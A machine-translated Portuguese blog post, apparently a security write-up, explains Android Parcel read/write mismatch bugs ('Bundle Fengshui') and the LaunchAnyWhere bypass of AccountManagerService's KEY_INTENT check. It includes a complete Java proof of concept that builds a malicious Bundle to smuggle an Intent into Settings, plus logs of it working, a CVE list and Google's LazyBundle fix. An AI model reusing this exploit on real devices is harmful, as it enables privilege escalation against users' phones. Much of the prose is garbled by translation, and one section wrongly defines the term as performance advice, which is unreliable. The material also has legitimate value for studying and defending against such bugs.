Bundle Fengshui - Vulnerabilidades de séries de incompatibilidade de serialização e desserialização de pacotes do Android

prefácio

Screenshot_20230414163411645_com.ss.android.article.newsedit.jpg

Em 2023, fabricantes conhecidos da Internet continuarão a descobrir novas OEMvulnerabilidades relacionadas ao Android Appe a realizar ataques de vulnerabilidade em sistemas de telefonia móvel convencionais no mercado atual em seus lançamentos públicos.

As descrições a seguir são todas de casos reais que estão acontecendo em centenas de milhões de telefones celulares no momento. Informações confidenciais relevantes foram processadas.

O primeiro método de hacking usado pelo fabricante da Internet Appem Bundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞inofensivahabilidade .0day/Nday 攻击StartAnyWhere

Antes de ler este artigo, entenda launchAnyWherea vulnerabilidade e Bundle数据结构和反序列化:

launchAnyWhere: análise de vulnerabilidade de desvio de permissão do componente de atividade

Estrutura de dados do pacote e análise de desserialização

O que é Bundle Feng Shui

BundleFeng Shui ( Bundle Fengshui) significa que no desenvolvimento Androidde aplicativos , Bundleao utilizar a classe para transferência de dados, é preciso ficar atento a algumas técnicas de otimização para evitar problemas de performance no processo de transferência de dados.

Como Bundlea classe armazena dados com base em pares chave-valor e suporta a transferência de vários tipos de dados, você precisa prestar atenção aos seguintes aspectos ao usá-la:

Evite usá-lo ao passar grandes quantidades de dados Bundle: Quando você precisar transferir grandes quantidades de dados, considere o uso de outros métodos de transferência mais eficientes, como serialização, Parcelableetc.

Tente evitar a serialização e Parcelable: Embora a serialização Parcelablepossa ser usada para passar objetos complexos, mas seu desempenho é baixo, deve ser evitado o máximo possível.

Use tipos de dados apropriados: ao usar Bundlepara transferir dados, você deve usar tipos de dados apropriados de acordo com as necessidades reais, como usar getInt()em vez de getLong()etc.

BundleUso razoável API: BundleA classe fornece vários API, como putXXX(), getXXX()etc., que devem ser usados ​​de acordo com as necessidades reais API.

Evite usar BundlePassando grandes quantidades de dados: BundleAs classes podem ter problemas de desempenho ao passar grandes quantidades de dados e devem ser evitadas o máximo possível.

Resumindo, BundleFeng Shui significa que ao utilizar Bundlea aula para transferência de dados, é preciso ficar atento a algumas técnicas de otimização para evitar problemas de performance durante a transferência de dados.

Artigos relacionados: Apresentando o Safer Parcel do Android - Black Hat

Quando um desenvolvedor manipula Parcelum objeto e tenta ler ou gravar dados nele, pode ocorrer um tipo de erro: o desenvolvedor, por vários motivos, pode ser muito descuidado, não considerou boas condições de contorno ou não tem conhecimento de determinado contêiner Javatipos Há um erro que leva ao fato de que, ao processar o mesmo Parcelableobjeto, o número de bytes lidos Parceldele não é igual ao número de bytes gravados nele, resultando em desalinhamento. Essa é Parcelablea vulnerabilidade de desserialização. Por exemplo, o seguinte código:

public class MyClass implements Parcelable {
    
    
    int a;
    int b;

    protected MyClass(Parcel in) {
    
    
        a = in.readInt();
    }

    @Override
    public void writeToParcel(Parcel dest, int flags) {
    
    
        dest.writeInt(a);
        dest.writeInt(b);
    }

    @Override
    public int describeContents() {
    
    
        return 0;
    }

    public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
    
    
        @Override
        public MyClass createFromParcel(Parcel in) {
    
    
            return new MyClass(in);
        }

        @Override
        public MyClass[] newArray(int size) {
    
    
            return new MyClass[size];
        }
    };
}

Obviamente, o desenvolvedor leu apenas 4 bytes ao ler, mas escreveu 8 bytes ao escrever! Isso parece muito estúpido, parece que nenhum desenvolvedor escreverá esse tipo de vulnerabilidade, mas no código real pode haver situações muito mais complicadas do que este exemplo, de modo que até os desenvolvedores do Google cometerão erros e até algumas brechas. primeira vez que vi o código, não encontrei o problema, mas demorei algumas horas para perceber que havia um problema oculto de incompatibilidade de leitura e gravação.

Revisão do código de vulnerabilidade LaunchAnyWhere

launchAnyWhere: Análise de vulnerabilidade de desvio de permissão do componente de atividade Neste artigo, apenas descrevemos brevemente este problema. Está no processo AccountManagerServicde e AddAccount. Depois de system_serverreceber Bundleos parâmetros, não há inspeção e os campos Settingsinternos são retirados diretamente KEY_INTENT(intent)e a interface é iniciada . Esta é uma LaunchAnyWherevulnerabilidade típica, Googlea correção naquele momento também foi muito simples. Após selecionar Zhongzhong para system_serverrecebê Bundle-la, tente removê-la Intent. Se este campo existir, verifique Intentse o componente de chamada final analisado pertence ao chamador original, evitando assim o chamador SettingsLança qualquer Activity.

//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
        extends IAccountManager.Stub
        implements RegisteredServicesCacheListener<AuthenticatorDescription> {
    
    
    /****部分代码省略****/
    /** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
    private abstract class StartAccountSession extends Session {
    
    
        /****部分代码省略****/

        @Override
        public void onResult(Bundle result) {
    
    
            Bundle.setDefusable(result, true);
            mNumResults++;
            Intent intent = null;
            //尝试从Bundle对象中取出KEY_INTENT
            if (result != null
                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
    
    
                //对KEY_INTENT进行校验
                if (!checkKeyIntent(
                        Binder.getCallingUid(),
                        intent)) {
    
    
                    onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
                            "invalid intent in bundle returned");
                    return;
                }
            }
            /****部分代码省略****/
            sendResponse(response, result);
        }
    }

    private void sendResponse(IAccountManagerResponse response, Bundle result) {
    
    
        try {
    
    
            response.onResult(result);
        } catch (RemoteException e) {
    
    
            // if the caller is dead then there is no one to care about remote
            // exceptions
            if (Log.isLoggable(TAG, Log.VERBOSE)) {
    
    
                Log.v(TAG, "failure while notifying response", e);
            }
        }
    }

    private abstract class Session extends IAccountAuthenticatorResponse.Stub
            implements IBinder.DeathRecipient, ServiceConnection {
    
    
        /**
         * Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
         * security policy.
         *
         * In particular we want to make sure that the Authenticator doesn't try to trick users
         * into launching arbitrary intents on the device via by tricking to click authenticator
         * supplied entries in the system Settings app.
         */
        protected boolean checkKeyIntent(int authUid, Intent intent) {
    
    
            intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
                    | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
                    | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
            long bid = Binder.clearCallingIdentity();
            try {
    
    
                PackageManager pm = mContext.getPackageManager();
                //解析出Intent最终调用的Activity
                ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
                if (resolveInfo == null) {
    
    
                    return false;
                }
                ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
                int targetUid = targetActivityInfo.applicationInfo.uid;
                PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
                // 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名,满足其中之一则允许调用
                if (!isExportedSystemActivity(targetActivityInfo)
                        && !pmi.hasSignatureCapability(
                                targetUid, authUid,
                                PackageParser.SigningDetails.CertCapabilities.AUTH)) {
    
    
                    String pkgName = targetActivityInfo.packageName;
                    String activityName = targetActivityInfo.name;
                    String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
                            + "does not share a signature with the supplying authenticator (%s).";
                    Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
                    return false;
                }
                return true;
            } finally {
    
    
                Binder.restoreCallingIdentity(bid);
            }
        }
    }
}

SettingsIntentChamada para enviar depois de receber startActivityForResultAsUser:

http://androidxref.com/4.4_r1/xref/packages/apps/Settings/src/com/android/settings/accounts/AddAccountSettings.java

public class AddAccountSettings extends Activity {
    
    
    /****部分代码省略****/
    private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
    
    
        @Override
        public void run(AccountManagerFuture<Bundle> future) {
    
    
            boolean done = true;
            try {
    
    
                Bundle bundle = future.getResult();
                //bundle.keySet();
                //获得KEY_INTENT
                Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
                if (intent != null) {
    
    
                    done = false;
                    Bundle addAccountOptions = new Bundle();
                    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
                    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
                            Utils.hasMultipleUsers(AddAccountSettings.this));
                    addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
                    intent.putExtras(addAccountOptions);
                    //启动KEY_INTENT代表的Activity
                    startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
                } else {
    
    
                    setResult(RESULT_OK);
                    if (mPendingIntent != null) {
    
    
                        mPendingIntent.cancel();
                        mPendingIntent = null;
                    }
                }
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
            } catch (OperationCanceledException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
            } catch (IOException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
            } catch (AuthenticatorException e) {
    
    
                if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
            } finally {
    
    
                if (done) {
    
    
                    finish();
                }
            }
        }
    };
}

ParcelableNão havia nenhum problema com esse patch na época, mas até 2017, alguns pesquisadores estrangeiros descobriram em uma amostra maliciosa que a desserialização poderia ser usada para contornar esse patch, porque o patch do Google foi system_serververificado Intente passado AIDLpara SettingsEntão inicie a interface, que atravessa o limite do processo, que também envolve um processo de serialização e desserialização, então se passarmos, Parcelable反序列化漏洞的字节错位pelo layout preciso, não conseguiremos encontrar isso system_serverao verificar , mas isso só acontece após o extravio . Os pesquisadores nomearam esse método de exploração como .IntentIntentSettingsLaunchAnyWhereBundle mismatch

Incompatibilidade de pacote, como explorar a vulnerabilidade de desserialização Parcelable

Sabendo como Androido framework Bundlelida com os tipos, agora precisamos nos concentrar em como desenvolver um Bundle mismatchexploit. Vamos ainda pegar a vulnerabilidade acima como exemplo e revisar nosso código de exemplo:

public class MyClass implements Parcelable {
    
    
    int a;
    int b;

    protected MyClass(Parcel in) {
    
    
        a = in.readInt();
    }

    @Override
    public void writeToParcel(Parcel dest, int flags) {
    
    
        dest.writeInt(a);
        dest.writeInt(b);
    }

    @Override
    public int describeContents() {
    
    
        return 0;
    }

    public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
    
    
        @Override
        public MyClass createFromParcel(Parcel in) {
    
    
            return new MyClass(in);
        }

        @Override
        public MyClass[] newArray(int size) {
    
    
            return new MyClass[size];
        }
    };
}

Neste exemplo, a leitura é de 4 bytes e a gravação é de 8 bytes. Em seguida, consideramos os últimos 4 bytes como o núcleo de toda a utilização. De acordo com a lógica de análise do formato Bundle descrita acima, ao serializar Depois de escrever um 0, depois lendo 4 bytes na próxima vez, onde esse 0 irá?

A resposta é que ele deve existir como o próximo Bundle key, key stringe readStringo começo que sabemos é ler um intcomo o comprimento da string primeiro. Portanto, há uma resposta para a pergunta, o 0 atrás de nós será considerado o comprimento de uma string e é uma string de comprimento 0. Observe que não é uma string, porque o campo de comprimento da nullstring nullé -1.

Agora sabemos que além this.bdo 0 escrito na frente, existirão os próximos 4 bytes padding, então como continuaremos o layout depois? Aqui precisamos preencher outro campo de tipo, que escolhemos aqui VAL_BYTEARRAY, que é 13, e o comprimento e o conteúdo da matriz de bytes precisam ser definidos posteriormente. Isso precisa ser combinado com a lógica antes do deslocamento. Após uma depuração cuidadosa , eu dou A resposta é a seguinte (excluindo o 0 mal colocado):

Construa um Bundle malicioso

public Bundle makeBundle() {
    
    
    Bundle bundle = new Bundle();
    Parcel bndlData = Parcel.obtain();
    Parcel exp = Parcel.obtain();
    exp.writeInt(3); // bundle key count
    //byte[] key1Name = {0x00};//第一个元素的key我们使用\x00,其hashcode为0,我们只要布局后续key的hashcode都大于0即可
    //String mismatch = new String(key1Name);
    String mismatch = "mismatch";//后续元素的hashcode必须大于mismatch的hashcode
    exp.writeString(mismatch);
    exp.writeInt(4); // VAL_PARCELABLE
    exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
    // 这里按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
    exp.writeInt(0);
    /**********************恶意构造的内容start*********************************/
    byte[] key2key = {
    
    13, 0, 8};
    String key2Name = new String(key2key);
    // 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY(13),前面的0用于补上4字节的高位。而8则是字节数组的长度了。
    //简单来说就是13和0这俩个字符的4个字节构成13这个数字,字符8和终止符这两个字符构成8这个数字。
    exp.writeString(key2Name);//整体作为长度为3的key string
    // 在错位之后,这里的13和下面的值是作为8字节的字节数组的一部分
    exp.writeInt(13);//这里的13则也是巧妙地被解析成了VAL_BYTEARRAY(13)
    int intentSizeOffset = exp.dataPosition();
    // 在错位之后上面的13和这里的值就会作为8字节的字节数组,后续就会正常解析出intent元素了,就成功绕过补丁
    int evilObject = -1;//这里应为字节数组的长度,我们填写为intent元素所占用的长度,即可将intent元素巧妙地隐藏到字节数组中(此值被Intent长度覆盖)
    exp.writeInt(evilObject);
    int intentStartOffset = exp.dataPosition();
    /**********************恶意构造的内容end*********************************/
    /**********************intent内容start*********************************/
    exp.writeString(AccountManager.KEY_INTENT);
    exp.writeInt(4);// VAL_PARCELABLE
    //可以直接构造Intent放在exp中,此处为了显示构造过程,将Intent字段逐一放入exp中
    //Intent intent = new Intent(Intent.ACTION_RUN);
    //intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    //intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
    //exp.writeParcelable(intent, 0);
    exp.writeString("android.content.Intent");// name of Class Loader
    exp.writeString(Intent.ACTION_RUN); // Intent Action
    Uri.writeToParcel(exp, null); // Uri is null
    exp.writeString(null); // mType is null
    //exp.writeString(null); // mIdentifier is null android28没有该字段
    exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
    exp.writeString(null); // mPackage is null
    exp.writeString("com.android.settings");
    exp.writeString("com.android.settings.password.ChooseLockPassword");
    exp.writeInt(0); //mSourceBounds = null
    exp.writeInt(0); // mCategories = null
    exp.writeInt(0); // mSelector = null
    exp.writeInt(0); // mClipData = null
    exp.writeInt(-2); // mContentUserHint
    exp.writeBundle(null);
    /**********************intent内容end*********************************/

    int intentEndOffset = exp.dataPosition();
    //将指针设置在intent数据之前,然后写入intent的大小
    exp.setDataPosition(intentSizeOffset);
    int intentSize = intentEndOffset - intentStartOffset;
    exp.writeInt(intentSize);
    Log.d("tanzhenxing33", "intentSize=" + intentSize);
    //写完之后将指针重置回原来的位置
    exp.setDataPosition(intentEndOffset);

    // 最后一个元素在错位之前会被当成最后一个元素,错位之后就会被忽略,因为前面已经读取的元素数已经足够
    String key3Name = "Padding-Key";
    //String key3Name = "padding";//hashcode排序失败
    exp.writeString(key3Name);
    exp.writeInt(-1);//VAL_NULL

    int length = exp.dataSize();
    bndlData.writeInt(length);
    bndlData.writeInt(0x4c444E42);//魔数
    bndlData.appendFrom(exp, 0, length);//写入数据总长度
    bndlData.setDataPosition(0);
    Log.d("tanzhenxing33", "length=" + length);
    bundle.readFromParcel(bndlData);
    return bundle;
}

Serializamos Bundlee desserializamos a chegada do código acima para verificar o tipo de soma dentro de key:: acabou de ser construído ;: é a segunda chegada de uma transmissão do kernel ;Value
mainBundleActivity
TestBundleMismatchResultActivityActivity

D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key =  [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }

Você pode ver o que acabou de ser construído Bunlde:

  • mismatchCorrespondentemente key, Valueé com.tzx.launchanywhere. MyClass o tipo;
  • Correspondentemente key, Valueé Byteuma matriz;
  • Padding-KeyCorrespondentemente key, Valueé NULL;

Serializado e desserializado uma vez Bundle:

  • mismatchCorrespondentemente key, Valueé com.tzx.launchanywhere. MyClass o tipo;
  • intentCorrespondentemente key, Valueé android.content.Intento tipo;
  • Correspondente a uma string vazia key, Valueé Byteum array;

Análise de dados binários do pacote

Na verdade, o conteúdo descrito acima é mais fácil de entender por meio das alterações nos dados binários do Bundle.

Antes de olhar para os dados binários, vamos falar sobre o alinhamento de 4 bytes da String

Alinhamento de 4 bytes de String

Em um computador, devido a razões como estrutura de armazenamento de hardware, o layout de memória de muitos tipos de dados precisa ser alinhado, o que também inclui tipos de string.
Em uma string, geralmente é armazenado em bytes.Para obter o desempenho ideal de acesso à memória, geralmente é necessário armazenar cada caractere da string em um endereço de memória de 4 bytes.
Portanto, quando o comprimento da string não for múltiplo de 4, um byte nulo extra será adicionado ao final da string para preenchimento para atender ao requisito de alinhamento de 4 bytes. Por exemplo, se a string tiver um comprimento de 5, um byte nulo será adicionado ao final para torná-la 8, o que atende ao requisito de alinhamento de 4 bytes.
Deve-se notar que esta operação de alinhamento terá um certo impacto no uso de memória, porque para muitas strings curtas, a memória real usada pode ser maior que seu comprimento. Portanto, ao processar uma grande quantidade de dados de string, é preciso ficar atento ao uso da memória para evitar problemas como memória insuficiente.

Dados no pacote gravados no arquivo

Gravamos Parcelos dados em um arquivo para visualização:

private void writeByte(Parcel bndlData) {
    
    
    try {
    
    
        byte[] raw = bndlData.marshall();
        File file = new File(getExternalCacheDir(), "obj.pcl");
        if (file.exists()) {
    
    
            file.delete();
        } else {
    
    
            file.createNewFile();
        }
        FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
        fos.write(raw);
        fos.close();
    } catch (Exception e) {
    
    
        e.printStackTrace();
    }
}

ver binários

O arquivo escrito é um arquivo binário, podemos odvisualizá-lo com o comando:

od -tx1 obj.pcl

Também pode hexfiendser visualizado por meio de ferramentas, o link para download é https://hexfiend.com/ .

Ou visualize diretamente vs cdoeinstalando hexo plug-in relevante.

Resultados da análise de dados

BundleResultados de análise de dados maliciosos construídos

insira a descrição da imagem aqui

Os dados maliciosos construídos Bundlesão analisados ​​uma vez por meio de serialização e desserialização

insira a descrição da imagem aqui

Comparado com o primeiro Bundlegráfico de análise de dados, precisamos apenas prestar atenção aos resultados da análise de dados na caixa vermelha:

  1. Após uma serialização, mais um 0 MyClassé escrito ;int
  2. Este 0 será usado como o comprimento do segundo key;
  3. O terminador anterior writeStringe os 4 bytes alinhados por bytes serão usados ​​como um nome 0de comprimento key;
  4. {13, 0, 8}Os primeiros 4 bytes gravados antes serão usados ​​como o comprimento 0do keytipo de dados ( VAL_BYTEARRAY=13), e os 8 bytes seguintes e os 4 bytes alinhados por byte serão usados ​​como ByteArrayo comprimento do comprimento, e seu valor é igual a 8;
  5. O comprimento do escrito anteriormente ( VAL_BYTEARRAY=13) e Intento comprimento desses 8 bytes como o comprimento 0de ;keyValue
  6. O comprimento da próxima leitura keyé 6 keye o ​​nome é intent;
  7. O último elemento será ignorado após extravio, pois o número de elementos já lidos é suficiente;

Correções de bugs

O reparo das vulnerabilidades acima parece ser muito intuitivo, basta reparar a leitura e escrita incompatíveis na MyClassclasse . Mas, na verdade, esse tipo de vulnerabilidade não é um caso isolado. Historicamente, devido ao descuido dos criadores de código, houve muitas vulnerabilidades de escalonamento de privilégios causadas por incompatibilidades de leitura e gravação, incluindo, mas não se limitando a:

CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…

Outra ideia de correção é corrigir TOCTOUa própria vulnerabilidade , ou seja, garantir que os objetos de desserialização verificados e usados ​​sejam os mesmos, mas essa correção é apenas uma solução temporária, não a causa raiz, e os invasores podem encontrar outros caminhos de ataque e contorná-los.

Portanto, para resolver completamente esse tipo de problema sem fim, Googleé proposta uma solução simples e grosseira de liberação lenta, ou seja, comece diretamente Bundleda classe . Embora Bundleem si seja ArrayMapuma estrutura, mesmo que apenas um deles precise ser obtido durante a desserialização key, o todo precisa Bundleser desserializado novamente. A principal razão para isso é que o tamanho de cada elemento nos dados serializados não é fixo e é determinado pelo tipo do elemento.Se você não analisar todos os dados anteriores, não saberá onde está o elemento de destino.

Para 2021tanto , AOSPfoi Bundle apresentado um projeto LazyBundle(9ca6a5)chamado de patch. A ideia principal é que, para alguns tipos personalizados com comprimentos variáveis, como estruturas ou contêineres como Parcelable, , Serializable, Listetc., o tamanho dos dados correspondentes será adicionado ao cabeçalho durante a serialização. Dessa forma, ao encontrar esses tipos de dados durante a desserialização, você pode ignorar seletivamente a análise desses elementos apenas verificando o cabeçalho. Neste sMapmomento correspondente em será definido como LazyValue, e quando esses valores são realmente usados ​​para desserializar dados específicos.

Isso patchpode aliviar Bundle 风水até certo ponto o ataque contra, e também é útil para melhorar a robustez do sistema, porque mesmo para Parceldados , se o receptor não usar o campo correspondente, a exceção pode ser evitada. Para a estratégia Bundlede análise , mesmo que apenas sizeo método seja chamado, ele acionará a análise de todos os elementos e causará uma exceção. Um parâmetro patchneste , se for, cada elemento será analisado da maneira tradicional, caso contrário , a análise de será ignorada.unparcelbooleanitemwisetrueLazyValue

Os interessados ​​podem ler o patchregistro de envio correspondente, LazyBundle(9ca6a5)

A modificação correspondente também pode ser vista no código-fonte do Android13: BaseBundle.java no android13

//android-33/android/os/Parcel.java
public final class Parcel {
    
    
  /****部分代码省略****/
  @Nullable
  public Object readLazyValue(@Nullable ClassLoader loader) {
    
    
      int start = dataPosition();
      int type = readInt();
      if (isLengthPrefixed(type)) {
    
    
          int objectLength = readInt();
          int end = MathUtils.addOrThrow(dataPosition(), objectLength);
          int valueLength = end - start;
          setDataPosition(end);
          return new LazyValue(this, start, valueLength, type, loader);
      } else {
    
    
          return readValue(type, loader, /* clazz */ null);
      }
  }
  public final void writeValue(@Nullable Object v) {
    
    
    if (v instanceof LazyValue) {
    
    
        LazyValue value = (LazyValue) v;
        value.writeToParcel(this);
        return;
    }
    int type = getValueType(v);
    writeInt(type);
    if (isLengthPrefixed(type)) {
    
    
        // Length
        int length = dataPosition();
        writeInt(-1); // Placeholder
        // Object
        int start = dataPosition();
        writeValue(type, v);
        int end = dataPosition();
        // Backpatch length
        setDataPosition(length);
        writeInt(end - start);
        setDataPosition(end);
    } else {
    
    
        writeValue(type, v);
    }
  }
  private boolean isLengthPrefixed(int type) {
    
    
    // In general, we want custom types and containers of custom types to be length-prefixed,
    // this allows clients (eg. Bundle) to skip their content during deserialization. The
    // exception to this is Bundle, since Bundle is already length-prefixed and already copies
    // the correspondent section of the parcel internally.
    switch (type) {
    
    
        case VAL_MAP:
        case VAL_PARCELABLE:
        case VAL_LIST:
        case VAL_SPARSEARRAY:
        case VAL_PARCELABLEARRAY:
        case VAL_OBJECTARRAY:
        case VAL_SERIALIZABLE:
            return true;
        default:
            return false;
    }
  }
}

Endereço do código LaunchAnyWhere

O artigo está todo contado aqui, se você tiver outras necessidades de comunicação, pode deixar uma mensagem~!

Artigo de referência:

Fale sobre a vulnerabilidade de desserialização Parcelable e incompatibilidade de pacote

Bundle Fengshui - Explicação detalhada da vulnerabilidade de incompatibilidade de serialização e desserialização do Android

Vulnerabilidade de desserialização do Android e histórico de defesa

Acho que você gosta

Origin blog.csdn.net/stven_king/article/details/130360390
Recomendado
Clasificación